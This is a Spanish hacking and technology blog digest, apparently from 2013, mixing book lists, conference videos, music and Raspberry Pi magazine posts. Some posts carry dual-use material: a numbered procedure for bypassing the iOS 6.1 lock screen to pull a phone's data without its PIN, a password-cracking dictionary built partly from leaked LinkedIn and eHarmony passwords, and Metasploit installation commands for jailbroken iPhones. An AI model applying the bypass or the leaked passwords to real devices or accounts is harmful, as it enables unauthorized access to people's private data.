CrackStation ha liberado el diccionario de passwords o contraseñas que estos usan. Éste tiene un total de 1.493.677.782 palabras y un tamaño de 15Gb, 4.2 Gb en formato Gzip.

El diccionario está compuesto por todas las palabras de Wikipedia (páginas-artículos de 2010 en todos los idiomas), así como muchos de los libros del Proyecto Gutenberg. Además tienen todas las contraseñas que se filtraron de las instrusiones en LinkedIn o eHarmony.

Libro gratuito en PDF, Hacking The Xbox, en honor …

Puedes descargarlo desde aquí.

Cada día mas parece que el MIT ejerce presión cuando el hacking toca a alguna empresa y/o industria poderosa, incluso al autor de este libro que también fue como Aaron, alumno del MIT.

Todo el manifiesto y los motivos de poner el libro libre para descargar, en este enlace.

Disfruta del libro.

30 semanas de desarrollo de un juego en un vídeo

Más info aquí.

Binary Mind, Ra Ra Riot, para este Domingo por la …

Enlace GrooveShark

Enlace Spotify

Ra Ra Riot

Una peligrosa técnica para ver el contenido de un …

En el blog Zeptobars nos explican la forma de "abrir" un microhip para ver qué tiene dentro. Siempre me ha fascinado contemplar esa plaquita llena de microconexiones y componentes, aunque no es fácil de acceder a su contenido detrás de toda esa capa de plástico, cerámica y otros materiales.

Una de las formas es usando un pequeño taladro y la otra es más peligrosa ya que utiliza ácido sulfúrico y calor (hasta 300 grados)  (AVISO, es realmente peligroso hacer el experimento que indica la web).

Carl Sagan, Stephen Hawking y Arthur C. Clarke …

Perfecto para después de ver er docu der finde :), documento histórico.

Visto en io9

Er docu der finde: La revolución virtual "¿Enemigo …

Resolviendo el cubo de Rubik haciendo malabarismo …

Incrédulo de mi que pensaba que había visto hacer el cubo de Rubik de todas formas. Este vídeo me ha dejado literalmente sin palabras:

The MagPi número 10

Pues ya está disponible el número 10 de The MagPi, la revista digital sobre Raspberry Pi, correspondiente al mes de marzo.

El índice de este número es el siguiente:

• REMOTE CONTROLLED ROBOT CAM - PART 2
• A COCKTAIL OF EXPANSION BOARDS
• THIS MONTH'S COMPETITION
• BACKING UP - PART 2
• BASH GAFFER TAPE
• WHAT'S ON GUIDE
• INTRODUCTION TO CHARM
• C++ CACHE
• SCRATCH PATCH - GPIO CONTROLPi PART 2
• SCRATCH FRACTALS Scratch
• PYTHON PIT
• FEEDBACK FROM READERS

Puedes leerla desde el navegador o descargarla en PDF.

Huevo de Pascua, una historia de Ciencia Ficción …

Imagen vista aquí

Ya tenía fichada esta historia de uno de nuestros blog favoritos de divulgación científica, Maximal Variety de Luis Acedo. Sólo leyendo la introducción donde habla de Konrad Zuse y sus teorías sobre un universo simulado en un supercomputador, la historia realmente promete. Zuse es uno de los protagonistas tanto en nuestro blog como en nuestro libro, al ser uno de los pioneros de la computación.

Busca un asiento cómodo, pon música como esta canción de Higuna y disfruta de esta estupenda historia de Ciencia Ficción, perfecta para un domingo por la tarde:

Espectacular análisis de ingeniería inversa a los …

 

Detalle de los registros del 8085 y su implemetación hardware (click para ampliar)

Lo había retwitteado en nuestra cuenta pero merece una entrada en el blog. Es más que un análisis, es toda una lección de ingeniería donde esquemas lógicos se superponen a fotografías reales de las entrañas del microprocesador 8085 .

Y como muestra, fijaros en la foto que encabeza este post, la primera es el esquema gráfico/lógico de los registros del 8085 y abajo podéis ver la fotografía con su equivalente en hardware, espectacular (hay mucho más ejemplos en el artículo).

Repositorio de aliases

Según la wikipedia un alias:

...permite reemplazar una palabra o serie de palabras con otra. Su uso principal es el de abreviar órdenes o para añadir argumentos de forma predeterminada a una orden que se usa con mucha frecuencia.

Para aquellos que tienen que trabajar de forma frecuente con la línea de comandos, el repetir ciertos comandos se puede hacer algo pesado, por la longitud y/o complejidad de los mismos. En esos casos usar un alias es una buena solución.

Aquí no os vamos a hablar de como crear un alias, que por cierto es muy simple, sino más bien de alias.sh, un repositorio de aliases creado por la comunidad. En éste, podemos encontrar 3 grandes grupos: Bash, Git y Drupal.

Domingo por la mañana, Matt & Kim, It's alright, …

Perfecta para levantarse este domingo por la mañana …

Enlaces a GrooveShark y Spotify abajo ;)

Matt & Kim "It's Alright" Escuchar en GrooveShark

Matt & Kim "It's Alright" Escuchar en Spotify

Matt & Kim

Presentaciones de la Linux Embedded Conference …

El pasado 20-22 de febrero se celebró en California la Linux Embedded Conference 2013. Un conferencia enfocada a los sistema Linux embebidos o empotrados. Si te interesan estos temas, ya puedes acceder a las presentaciones que se dieron:

• dventures in (simulated) Asymmetric Scheduling - Pantelis Antoniou, Antoniou Consulting (View Slides)
• Embedded Linux Takes on the Hard Problems of Automotive - Alison Chaiken, Mentor Embedded Software Division (View Slides)
• RFC: Obtaining Management Buy-in for Mainline Development - Kevin Chalmers, Texas Instruments, Inc. (View Slides)
• Common Clock Framework: How to Use It - Gregory Clement, Free Electrons (View Slides)
• System-wide Memory Management without Swap - Howard Cochran, Lexmark International (View Slides)
• Survey Of Linux Kernel Debugging Techniques - Kevin Dankwardt, K Computing (View Slides)
• Using GStreamer for Seamless Off-loading Audio Processing to a DSP - Ruud Derwig, Synopsys (View Slides)
• Extending the swsusp Hibernation Framework to ARM - Russell Dill, Texas Instruments, Inc. (View Slides)
• Pre-built Binary Toolchains in Yocto Project - Denys Dmytriyenko, Texas Instruments, Inc. (View Slides)
• Target Communication Framework: One Link to Rule Them All - Anna Dushistova (View Slides)
• Namespaces for Security - Jake Edge, LWN.net (View Slides)
• FIT Image Format: Inspired by Kernel's Device Tree Interface - Joel Fernandes, Texas Instruments, Inc. (View Slides)
• Gentoo-Bionic: We Can Rebuild Him. Better. Stronger. Faster. - Christopher Friedt, Research In Motion (View Slides)
• Kernel Dynamic Memory Allocation Tracking and Reduction - Ezequiel Alfredo Garcia, VanguardiaSur (View Slides)
• Working Together to Accelerate Linux Development - George Grey, CEO, Linaro (View Slides)
• The 'Embedded Problem' as Experienced by Intel's Reference Phones - Mark Gross, Intel/MCG/PSI (View Slides)
• Building a Custom Linux Distribution with the Yocto Project - Sean Hudson, Mentor Graphics (View Slides)
• olibc: Another C Runtime Library for Embedded Linux - Jim Huang, 0xlab (View Slides)
• Anatomy of the arm-soc git tree - Olof Johansson, Google (View Slides)
• Leveraging Linux - Code Coverage for Post-Silicon Validation - Mehdi K., UBC Integrated Systems Design Lab (View Slides)
• How to Build Your Own Digital Signage Solution with Yocto Project - Nitin Kamble, Intel Corporation (View Slides)
• Deadline Miss Detection with SCHED_DEADLINE - Yoshitake Kobayashi, TOSHIBA Corporation (View Slides)
• Tips of Malloc and Free - Tetsuyuki Kobayashi, Kyoto Microcomputer (View Slides)
• The OpenEmbedded Project 2 Years After Adopting the Yocto Project - Koen Kooi, Circuitco Electronics (View Slides)
• An Insight into the Advanced XIP Filesystem (AXFS) - Aaditya Kumar, Sony India Software Centre Pvt Lltd (View Slides)
• Toybox: Writing a new Linux Command Line from Scratch - Rob Landley, Multicelluar (View Slides)
• Debugging on a Production System - Tristan Lelong, Adeneo Embedded (View Slides)
• Optimizing GStreamer Video Plugins: A Case Study with Renesas SoC Platform - Katsuya Matsubara, IGEL Co., Ltd. (View Slides)
• Security Best Practices for Embedded Systems - John Mehaffey, Mentor Graphics (View Slides)
• Making Gadgets Really "cool"€™ - Noor UI Mubeen, Intel Technology India Pvt Ltd (View Slides)
• How to Cook the LTSI Kernel with Yocto Recipe - Hisao Munakata, Renesas Electronics (View Slides)
• Task Scheduling for Multicore Embedded Devices - Gap-Joo Na, Electronics and Telecommunications Research Institute (ETRI) (View Slides)
• Making Gadgets Really "cool"€™ - Noor UI Mubeen, Intel Technology India Pvt Ltd (View Slides)
• Application Diversity Demands Accelerated Linux Innovation - Mark Orvek, Linaro (View Slides)
• Your New ARM SoC Linux Support Checklist! - Thomas Petazzoni, Free Electrons (View Slides)
• Anatomy of an Embedded KMS Driver - Laurent Pinchart, Ideas on board SPRL (View Slides)
• In Kernel Switcher: A Solution to Support ARM's New big.LITTLE Implementation - Mathieu Poirier, Linaro (View Slides)
• Kernel Testing Tools and Techniques - Matt Porter, Texas Instruments, Inc. (View Slides)
• Bringing kconfig to EGLIBC - Khem Raj, OpenEmbedded (View Slides)
• Making Linux do Hard Real-Time - Brent Roman, Monterey Bay Aquarium Research Institute (View Slides)
• Understanding PREEMPT_RT (The Real-Time Patch) - Steven Rostedt, Red Hat (View Slides)
• Using and Understanding the Real-Time Cyclictest Benchmark - Frank Rowand, Sony Network Entertainment (View Slides)
• Designing for Optimisation - Mans Rullgard, ARM / Linaro (View Slides)
• Code Sweat: Embed with Nightmares - Dave Stewart, Intel (View Slides)
• LLVMLinux: Compiling the Linux Kernel with LLVM - Behan Webster, Converse in Code Inc. (View Slides)
• uCLinux For Custom Mobile Devices - Hunyue Yau, HY Research LLC (View Slides)

Cómo funciona la búsqueda (Google)

Interesante animación donde Google nos explica paso por paso cómo funciona el sistema de búsqueda en Internet, desde algoritmos, crawlers, etc. No es muy técnica pero sí que sirve para visualizar la complejidad y el funcionamiento de las búsquedas.

Web Inside Search de Google, aquí encontraréis apartados sobre Algoritmos, Spam, Rastreo e indexación, etc.

Visto en HackerNews.

Mundo Hacker en Discovery Max

Mundo Hacker comienza su emisión en el canal Discovery Max (el mejor canal de la TV junto a La Sexta 3) a partir del día 14 de Marzo (jueves) a las 00:20.

Ya está apuntado en nuestra agenda para todos los jueves, el mejor día para ver Discovery Max ya que es la noche de la Ciencia.

Colección de estructuras de datos del núcleo de …

Desde CodeMachine podemos acceder a un artículo muy útil para aquellos que de alguna forma tengan que enfrentarse a la ardua tarea de depurar una aplicación en Windows y tenga que tratar con algún driver del sistema o el propio núcleo.

En dicho artículo se nos detallan varias de las estructuras de datos internas del núcleo de Windows. Por cada estructura se nos da una breve explicación sobre la misma, más algunos detalles sobres los campos más importantes de ésta.

Revisión del código de Duke Nukem 3D

Fabien Sanglard lo ha vuelto a hacer. Después de sus magníficos y muy recomendados análisis de Doom 3 y Quake 3, ahora le ha tocado el turno a Duke Nukem 3D.

El análisis lo hace en las siguientes cuatro partes:

Part 1: Overview. Part 2: Engine Internals. Part 3: Engine legacy. Part 4: Chocolate Duke Nukem 3D.

Sin duda alguna un gran pasatiempo para después de ver Er docu der finde :)

Er docu der finde: La revolución virtual …

Árbol genealógico de Mario

Infographic Source: Visual.ly Image Credits: Rob Hainer / Shutterstock.com

Fuente

Editor online de temas para Sublime Text y …

Los usuarios de Mac posiblemente conocerán de sobra Textmate, uno de los editores de texto más populares del sistema de la manzana. Sublime Text, aunque está ganando mucha popularidad últimamente, quizás no sea tan conocido.

Si eres de los que les gusta personalizar el tema de tu editor y además eres usuario de uno de los editores arriba mencionados entre otros, ahora lo tienes muy fácil a la hora de personalizar tu editor con TmTheme Editor.

Instalación de Ruby 2.0 desde RVM

Como muchos ya sabréis hace poco se publicó la primera versión estable de la rama 2.0 del lenguaje de programación Ruby. Para aquellos que como yo uséis RVM, estos los pasos que tuve que seguir para instalar esta nueva versión en mi sistema:

• rvm get head // actuliza tu rvm a la última versión
  • Si usas un sistema basado en: debian (yo uso Linux Mint): apt-get install libyaml-dev
  • Fedora/CentOS/RHEL: yum install libyaml-devel
  • Mac con Homebrew: brew install libyaml
• rvm pkg install openssl
• rvm install 2.0.0 --with-openssl-dir=$HOME/.rvm/usr verify-downloads 1
• rvm use 2.0.0

En mi caso también tuve que activar Run Command as a login shell, como se puede ver en la imagen de abajo.

Fuente

Depurador de expresiones regulares

Después de muchos año programando, una de las cosas que siempre se me atragantan son las expresiones regulares. Es verdad que las uso de forma muy esporádica, pero cuando tengo que escribir alguna expresión regular que vaya más allá de ver si una cadena de caracteres empieza o termina de una forma determinada, me tiemblan las piernas. :)

Todo lo que se de ayuda bien venido es. Por eso ya me estoy guardando en los favoritos Debuggex. Una herramienta que nos ayuda a construir y probar nuestras expresiones regulares. El sitio está en beta ahora mismo, pero tiene buena pinta.

Aprende a programar

Los hermanos Ali y Hadi Partovi han creado una organización sin ánimo de lucro llamada code.org enfocada a animar a la gente a que aprenda a programar.

El vídeo de introducción además de recoger la opinión de grandes celebridades como Bill Gates, Mark Zuckerberg, Jack Dorsey o Drew Houston entre otros, te hace ver que estos grandes genios empezaron su carrera como cualquiera de nosotros.

En la web podemos encontrar vídeos para difundir y animar a otros a aprender con proyectos como Scratch, Codecademy, Khan Academy y CodeHS.

Introducción a la criptografía y la seguridad de …

Esta es una serie de lecturas, 23 en concreto, impartida por el profesor Christof Paar de la Ruhr University Bochum, Alemania en la que nos introduce al mundo de la criptografía y la seguridad de los datos.

Christof Paar además tiene escrito un libro sobre la materia con muy buenas críticas. Y en la web del mismo, además tienes más vídeos y las diapositivas de éstos.

La lista de los vídeos es la siguiente:

Más libros para la colección

Aquí os dejo una lista con algunos libros que he ido acumulando durante algunas semanas. Happy reading:

• Security Engineering
• Forecasting: principles and practice
• Code Connected Volume 1
• CoffeeScript Ristretto
• Easy 6502
• Analytics Lessons Learned (PDF)
• High Performance Networking in Google Chrome
• 50 Ways to Avoid, Find and Fix ASP.NET Performance Issues
• Applying Generalized Linear Models (PDF)
• Dart: Up and Running
• Pointers and Arrays in C
• Problem Solving with Algorithms and Data Structures

Otra forma de saltarse la pantalla de bloqueo de …

Se ha hecho publica otra nueva forma de saltarse la pantalla de bloqueo de iOS 6.1. El método es muy parecido al que ya publicamos anteriormente, pero esta vez conectando el teléfono vía USB se pueden volcar los datos (sincronizar con iTunes) del terminal.

El procedimiento es el siguiente:

1. Pulsa el botón de encendido.
2. Llamada de emergencia
3. Llama a cualquier número (3 dígitos sólo?) y cancela la llamada inmediatamente
4. Pulsa de nuevo el botón de encendido y justo después pulsa el botón del terminal (cuadrado).
5. Ahora pulsa el botón de encendido de nuevo por 3 segundos, al tercer segundo pulsa el botón de teléfono y manteniendo éste pulsado, toca el botón de emergencia.
6. Una vez que tienes los 3 botones pulsados, suelta el del teléfono (cuadrado) y después el de encendido.
7. En este momento si has seguido los pasos correctamente, la pantalla se habrá puesto en negra.
8. Conecta tu terminal vía USB a tu sistema y espera que se sincronicen las fotos, contacto, etc sin necesidad de introducir ningún código PIN.

Aquí un vídeo de demostración:

Fuente

Videotutoriales para aprender C++ y Java

httpv://youtu.be/7asbS4pUYsQ

Primera lección del curso C++

Excelentes tutoriales (en inglés, siempre podéis activar los subtítulos), con vídeos (más de 40) y texto para aprender a programar C++ y Java usando Netbeans y Cygwin.

Curso C++

Curso Java

Perfecto para ir viendo los vídeos y aprender poco (a tu ritmo) a programar en estos dos lenguajes de programación tan importantes.

Visto aquí.

Nueva sección CyberHades: Cyberlab

Hemos creado una nueva sección llamada Cyberlab donde iremos agrupando nuestras experiencias con varios de los aparatitos/hardware/hacking que tenemos entre tuxotron y yo (Raspberry Pi, LEGO Mindstorm y el lenguaje leJOS, retos hacking, etc), en formato de prácticas de laboratorio. De momento ya tenemos las primeras prueba de tuxotron con el Raspberry Pi.

No os prometemos una regularidad en la publicación pero os aseguramos que todo lo que hagamos con nuestro hardware actual y futuro así como otros proyectos prácticos  los iremos catalogando en esta sección.

Domingo por la mañana, Beak, Yatton

http://open.spotify.com/track/6pjByxHnSsh8BJPEK463Wd

Beak

Juego de Tronos, temporada 3

Saltándose la pantalla de bloqueo de los …

Hace algo más de una semana que saltó la noticia de como saltarse la pantalla de bloqueo en sistemas iOS 6.1. Pues bien, Samsung parece que se le da eso muy bien de copiar a Apple y según parece los dispositivos Android de Samsung, al menos el Galaxy S3 tiene un problema muy parecido al encontrado en los dispositivos de Apple.

El procedimiento sería el siguiente (asumiendo que el terminal está bloqueado con la pantalla del PIN):

Er docu der finde: The Pirate Bay Away From …

Cuando Cybercaronte publicó este documental me dije, que pena hubiera sido perfecto para la sección de Er docu der finde, pero como sabéis, en esta sección sólo publicamos documentales en español o al menos con subtítulos en español. Justo al día siguiente vi en el twitter de Alejandro Ramos que habían colgado en youtube una versión del documental con los subtítulos en español. Me dije, perfecto ya tengo documental para el viernes, pero resulta que el jueves me puse a buscar un documental para el viernes y mientras buscaba, David Moreno Cobo nos recomendó el susodicho documental con subtítulos en español, el cual se me había olvidado por completo. Grac

10 mandamientos de la seguridad en el desarrollo …

Me gustaron los diez puntos que recoge esta entrada. Más o menos vienen a decir:

1. Deberás implementar la seguridad en aplicaciones al mismo ritmo que los negocios de la empresa.
2. Deberás concienciar al desarrollador líder sobre las consecuencias de la mala seguridad.
3. Deberás ser consistente con las metodologías de pruebas (testing).
4. No deberás dar sorpresas al equipo de desarrolladores, los tests deberán ser conocidos por éstos.
5. Deberás testar las aplicaciones en producción.
6. No deberás dejar que los frameworks sustituyan el sentido común.
7. Deberás poner las vulnerabilidades en el contexto apropiado.
8. No deberás dar a los desarrolladores acceso a datos en producción a diestro y siniestro.
9. Deberás usar un cortafuegos de aplicaciones web con un plan en mente.
10. No deberás culpar a los desarrolladores.

Creo que es una buena colección de buenas prácticas enfocadas a la seguridad de las aplicaciones.

Vídeos de la FOSDEM 2013

La FOSDEM es una conferencia donde grupos o comunidades se reúnen para compartir ideas, charlas, etc sobre Open Source. Este año se celebró los días 2 y 3 de febrero en Bruselas.

La lista de los vídeos disponibles es la siguiente:

• adhearsion.webm
• ARM_v7_State_of_the_Body.webm
• ARMv8,_ARM’s_new_architecture_including_64_bit.webm
• A_method_for_distributing_applications_independent_from_the_distro.webm
• Being_a_good_upstream___the_syslog_ng_PoV.webm
• Bootstrapping_Debian_based_distributions_for_new_architectures.webm
• Bootstrapping_the_Debian_Ubuntu_arm64_ports.webm
• BuildSys_and_QA_in_CentOS_using_a_Private_Cloud__OpenNebula.webm
• Building_RPM_packages_from_Git_repositories_with_git_buildpackage.webm
• Can_Linux_network_configuration_suck_less_.webm
• Debian_Med___a_Debian_Pure_Blends_for_medical_care_and_microbiological_research.webm
• Distributing_TeX_and_Friends___methods,_pitfalls,_advise.webm
• Emdedded_distro_shootout__buildroot_vs._Debian.webm
• Eudev.webm
• Gentoo_BoF.webm
• Gentoo_Hardened.webm
• How_do_we_make_Qt_on_Mer_the_solution_of_choice_for_device_vendors_.webm
• Incompatibility_and_Pain___a_perspective_from_upstream.webm
• Make_Debian_compiler_agnostic___Building_Debian_with_LLVM_Clang.webm
• Package_management_and_creation_in_Gentoo_Linux.webm
• Raindrops.webm
• Stable_kernel_maintenance_for_distributions.webm
• Understanding_GNOME_internals_to_administrate_desktop_Debian_machine.webm
• Why_you_no_host_.webm
• lmonade.webm
• openSUSE_on_ARM.webm
• systemd_in_Debian.webm
• A_high_level_language_for_low_level_code.webm
• Actionaz__Automation_for_everyone.webm
• Arduino__from_prototype_to_final_product.webm
• BIND_10__DNS_by_Cooperating_Processes.webm
• Borderlands,_Granular_Sequencer.webm
• Cloudeebus.webm
• Coding_Gouter.webm
• Crypto.cat.webm
• Do_you_want_to_measure_your_project_.webm
• EDE,_a_light_desktop_environment.webm
• EasyTAG.webm
• Fipes.webm
• FluxBB.webm
• How_to_hack_on_Wikipedia.webm
• I_m_Luvin__It.webm
• Jazzperiments.webm
• Kolab_Groupware.webm
• Managing_your_metal_flexibly.webm
• Phone_liberation_parties.webm
• Protocols_Are_Everywhere__RE_with_Netzob.webm
• STAR__a_Python_Pandas_dressing.webm
• Searduino___Arduino_simulator_and_C_C___devel_environment.webm
• Spoiling_and_Counter_spoiling.webm
• The_C2_programming_language.webm
• The_LLVMLinux_Project.webm
• The_development_infrastructure_of_the_TYPO3_project.webm
• Tracy.webm
• Using_Gerrit_Code_Review_in_an_open_source_project.webm
• Vehicular_traffic_estimation_through_bluetooth.webm
• Vendorificator.webm
• ZONE__towards_a_better_news_feed.webm
• blkreplay.webm
• eGov_Testing_Machine_to_ensure_Free_Software_users_freedom_to_access_eGovernment_services.webm
• eTests.webm
• naxsi,_an_open_source_web_application_firewall_for_nginx.webm
• pystemon.webm
• Closing_FOSDEM_2013.webm
• Firefox_OS.webm
• Free,_open,_secure_and_convenient_communications.webm
• FreedomBox_1.0.webm
• Has_the_GNOME_community_gone_crazy_.webm
• How_to_build_an_Identity_Management_System_on_Linux.webm
• How_we_made_the_Jenkins_community.webm
• Keccak,_More_Than_Just_SHA3SUM.webm
• LibreOffice__cleaning_and_re_factoring_a_giant_code_base.webm
• Practical_Security_for_developers,_using_OWASP_ZAP.webm
• Samba4.webm
• The_Devil_is_in_the_Details.webm
• The_Keeper_of_Secrets.webm
• Trends_in_Open_Source_Security.webm
• Welcome_to_FOSDEM_2013.webm
• systemd,_Two_Years_Later.webm
• ARM_support_in_the_Linux_kernel.webm
• Aldebaran_Robotics_and_Open_Source.webm
• Maintaining_a_kernel_subsystem.webm
• Open_ARM_GPU_drivers.webm
• Porting_Fedora_to_64_bit_ARM_systems.webm
• ROS__towards_open_source_in_robotics.webm
• Scaling_PHP_with_HipHop.webm
• Static_site_generation_for_the_masses.webm
• The_Anykernel_and_Rump_Kernels.webm
• UEFI_SecureBoot.webm
• Vroom__Free_Software_in_your_car.webm

Fuente

Cifrando redes sociales

Hace tiempo que el futuro de internet me preocupa. SOPA, PIPA, ACTA o la ley Sinde ya no son simples intentos aislados de censurar internet, son una realidad que cada vez pega con más fuerza. La vigilancia masiva y el acoso al que nos vemos sometidos es un hecho.

Existen multitud de iniciativas que intentan paliar estos hechos. Tenemos Tor, Freenet, Diaspora, etc, sin embargo, todas estas aplicaciones requieren conocimientos avanzados por parte del usuario o, al menos, no es algo que cualquier usuario de a pie sea capaz de hacer.

El espectacular vídeo de las Google Glass (gafas …

Google Glass

Visto en Microsiervos.

The MagPi número 7, noviembre 2012 en español

Ayer mismo publicamos el número de febrero de esta magnífica revista electrónica sobre Raspberry Pi. En esta ocasión, la razón de publicar un número atrasado (noviembre de 2012 - PDF), de la misma es que en este caso la revista está completamente traducida al español, de hecho es el primer número que se traduce.

El contenido de este número es el siguiente:

• PI Y ARDUINO EN ACCION
• COMPETENCIA DEL MES
• PI SOLAR
• LA PLACA “LADDER” DE GORDON
• GPIO E INTERRUPCIONES
• RASPBIAN, LA HISTORIA HASTA AHORA
• TURBO AJUSTES PARA MAXIMO DESEMPEÑO
• EVENTOS DEL MES
• PI-EVOLUCION
• LAS BASES DE GNU MAKE
• BIENVENIDOS AL CACHE C++
• EL SCRATCH PATCH
• EL TALLER DE PYTHON
• PREGUNTAS Y COMENTARIOS

Visita virtual al HackLab Metrix Create:Space de …

Click para comenzar el tour virtual

Impresionante el HackLab Metrix Create:Space, tiene de todo, impresoras 3D, cortadora láser, todo tipo de componentes electrónicos, etc. Echa un vistazo a la visita virtual para deleitarte con este espacio para trabajar que más de uno quisiéramos en nuestras ciudad.

Siempre hemos soñado con tener de un lugar de reunión así (hacklab), si alguien se anima a crear uno en Valencia (o en cualquier punto de España) que cuente con nuestro apoyo incondicional.

The MagPi número 9, febrero 2013

Aunque con un poco de retraso, os dejamos por aquí un nuevo número de la revista electrónica sobre Raspberry Pi: The MagPi número 9 correspondiente al mes de febrero de 2013.

El contenido de la misma es el siguiente:

• An interview with Limor Fried from Adafruit
• WebIOPi - Raspberry Pi REST framework
• Backing up your Raspberry Pi
• Win some more Raspberry Pi goodies
• Quick2Wire's I/O interface board for the Raspberry Pi
• An introduction to RISCOS
• Installing & configuring Arch Linux
• An introduction to Vala programming
• This month's Raspberry Pi events
• The C Cave - structs, histograms and data analysis
• Scratch Patch - controlling the GPIO interface from Scratch
• The Python Pit - drive your Raspberry Pi with a mobile phone
• Feedback and question time

Podéis consultarla desde vuestro navegador o descargarla en PDF

Vídeos de las Firetalks de ShmooCon 2013

Más vídeos de los que nos gustan. Estos son concretamente las Firetalks de la edición de este año de ShmooCon:

• “Thin Slicing a Black Swan: A Search for the Unknowns” by Michele “@mrsyiswhy” Chubirka & Ronald Reck
• “When Did the Smartphone Pentest Framework Get Awesome?” by by Georgia “@georgiaweidman” Weidman
• “ShellSquid: Distributed Shells With Node” by Tom Steele
• “If You Can Open The Terminal, You Can Capture The Flag: CTF for Everyone” by Nicolle “@rogueclown” Neulist
• “Becoming a Time Lord – Implications of Attacking Time Sources” Joe “@joeklein” Klein
• “Swinging Security Style: An Immodest Proposal” by Wendy “@451wendy” Nather
• “Drones: Augmenting your cyber attack tool bag with aerial weapon systems” by Zac “@ph3n0” Hinkel
• “Managed Service Providers: Pwn One and Done” Damian “@integrisec” Profancik
• “No Tools? No Problem! Building a PowerShell Botnet” Christopher “@obscuresec” Campbell
• “Extending the 20 Critical Security Controls to Gap Assessments and Security Maturity Modelling” John “@pinfosec” Willis
• “Protecting Big Data From Cyber APT in the Cloud” Bill “@oncee” Gardner
• “Writing a Thumbdrive for Active Disk Antiforensics” Travis “@travisgoodspeed” Goodspeed

Fuente

Free Universal Construction Kit, para construir lo …

(Click para ampliar)

El Free Universal Contruction Kit es un pack de piezas (80) "universales" o adaptadores los cuales te permiten conectar componentes de hasta 10 juguetes de construcción diferentes. O sea, con estas piezas puedes construir lo que quieras por ejemplo, usando Lego con Duplo y K'nex.

Los adaptadores sirven para Lego, Duplo, Fischertechnik, Gears! Gears! Gears!, K’Nex, Krinkles (Bristle Blocks), Lincoln Logs, Tinkertoys, Zome, y Zoob.

Desde aquí puedes descargarte en formato .STL las piezas por si quieres imprimirlas en tu impresora 3D. También hay un poster (4,5MB) con todas las piezas (fondo gris o fondo blanco).

Domingo por la mañana, S.C.U.M, Faith Unfolds

S.C.U.M

http://open.spotify.com/track/20ZJOGEZi2fFlGWZ2TRDoa

Un año en la vida de un mantenedor del núcleo de …

Fuente

10 aplicaciones para recuperar tu terminal Android …

El que pierdas o te roben tu teléfono móvil no es algo que este fuera de lo común, por ello, además de cifrar los datos de tu teléfono, también conviene instalar algún tipo de software que te permita poder localizarlo en case de extravío.

A continuación os dejamos una lista con las 10 aplicaciones para sistemas Android más conocidas para la recuperación de un terminal móvil:

StarCraft II: Heart Of The Swarm

2012 el año de Android

Fuente

Er docu der finde: 20.000 cables de viaje …

Instalando Metasploit en tu iPhone/iPad

Este método instala la versión estable de metasploit desde el repositorio de subversión oficial. El único requerimiento, aparte de tener suficiente espacio libre en tu terminal, es también tenerlo jailbroken.

Lo primero es iniciar una sesión ssh e instalar wget y el cliente de subversion:

[code]apt-get install wget subversion[/code]

Luego nos movemos al directorio /tmp y descargamos varias dependencias de metasploit:

[code] cd /tmp wget http://www.cyitsec.net/downloads/iconv_1.14-1_iphoneos-arm.deb wget http://www.cyitsec.net/downloads/zlib_1.2.3-1_iphoneos-arm.deb wget http://www.cyitsec.net/downloads/ruby_1.9.2-p180-1-1_iphoneos-arm.deb [/code]

Saltando la pantalla de bloqueo en iOS 6.1

Una vez más, la nueva actualización de iOS le ha salido rana a Apple. Esta vez, en la versión 6.1 de iOS, nos podemos saltar la pantalla de bloqueo de nuestro sistema. El truco está en hacer una llamada de emergencia, colgar rápidamente y luego mantener pulsado el botón de encendido hasta que se pone la pantalla en negro, soltar  y luego  mantener pulsado dicho botón otra vez y desbloquear (ver los vídeos más abajo). Esto nos salta al sistema del terminal donde podemos acceder a las aplicaciones, ver y modificar contactos, acceder al buzón de voz y acceder a las fotos a través de añadir un nuevo contacto (seleccionar foto para el nuevo contacto).

El malware está en todas partes

Fuente

Código fuente de Photoshop 1.0.1 y un par de …

En 1987 Thomas Knoll, estudiante de doctorado en visión por ordenador escribió un programa para mostrar y modificar imágenes digitales. Su hermano John Knoll, quién trabajaba en una empresa efectos visuales (Industrial Light & Magic), encontró que el programa escrito por Thomas le era muy útil. Lo que inicialmente era un pequeño proyecto personal de uso propio más tarde se convertiría en el programa de tratamiento gráfico más usado del planeta.

Lego Mindstorms EV3 compatible con Android y iOS …

Cuando aún no he abierto mi Lego Mindstorm NXT 2.0 (sí sí, lleva un año cerrado en la caja), ya está a punto de salir (a mitad de este año) la nueva generación llamada EV3. Una de sus nuevas características es que son compatibles con iOS y Android para poder controlarlos. El firmware del “ladrillo” es ahora Linux, lleva un procesador ARM9, sensor de infrarrojos y expansión por tarjeta SD.

El código fuente de Pinball Construction Set para …

Versión de Pinball Construction Set para IBM PC en 1983 (MSDOS)

Bill Budge (se merece una Microhistoria) es un programador que creó uno de los juegos míticos para el Apple II y el Atari 800, Pinball Construction Set.

Este juego fue toda una revolución, ya que incluía conceptos que ahora son muy utilizados como el "arrastrar y soltar" ("drag and drop"), iconos, etc. Además el movimiento de la bola era muy fluido y los gráficos estaban bastante bien.

Vídeos de la linux.conf.au 2013

Del 28 de enero al 2 de febrero tuvo lugar la edición 2013 de la ya conocida conferencia sobre linux australiana, en la ciudad de Canberra. La lista de los vídeos disponibles hasta el momento es la siguiente:

• 3D_Printing_with_Repsnapper.mp4
• 15MW_and_3600_penguins_in_a_room_Supercomputing_at_ANU.mp4
• A_New_Linux_Platform_Hardware_and_Software.mp4
• After_Arduino.mp4
• Aint_No_Party_Like_A_Unix_Party.mp4
• An_Introduction_to_Linux_IPC_Facilities.mp4
• ArduSat_Open_Source_in_orbit.mp4
• Arduino_Miniconf_Afternoon.mp4
• Arduino_Miniconf_Morning.mp4
• Beyond_Alt_Text_What_Every_Project_Should_Know_About_Accessibility.mp4
• Big_and_Little_Endian_inside_out.mp4
• Bufferbloat_from_a_Plumbers_point_of_view.mp4
• Building_Persona_federated_and_privacysensitive_identity_for_the_Web.mp4
• Building_a_free_software_telemetry_radio_system.mp4
• CWDM_Coarse_Wave_Division_Multiplexing.mp4
• Ceph_Managing_A_Distributed_Storage_System_At_Scale.mp4
• Ceph_object_storage_block_storage_file_system_replication_massive_scalability_and_then_some.mp4
• Checkpoint_and_Restore_are_we_there_yet.mp4
• Code_up_your_own_video_conference_in_HTML5.mp4
• Communicating_with_third_parties.mp4
• Concurrent_Programming_with_the_Disruptor.mp4
• Conference_Closing.mp4
• Conference_Closing_Lightning_Talks.mp4
• Configuration_Management_with_Ansible.mp4
• Copyrights_Dark_Clouds_Optus_v_NRL.mp4
• Delivering_IaaS_with_Apache_CloudStack.mp4
• Designing_a_Verifiable_and_Accessible_Electronic_Voting_System.mp4
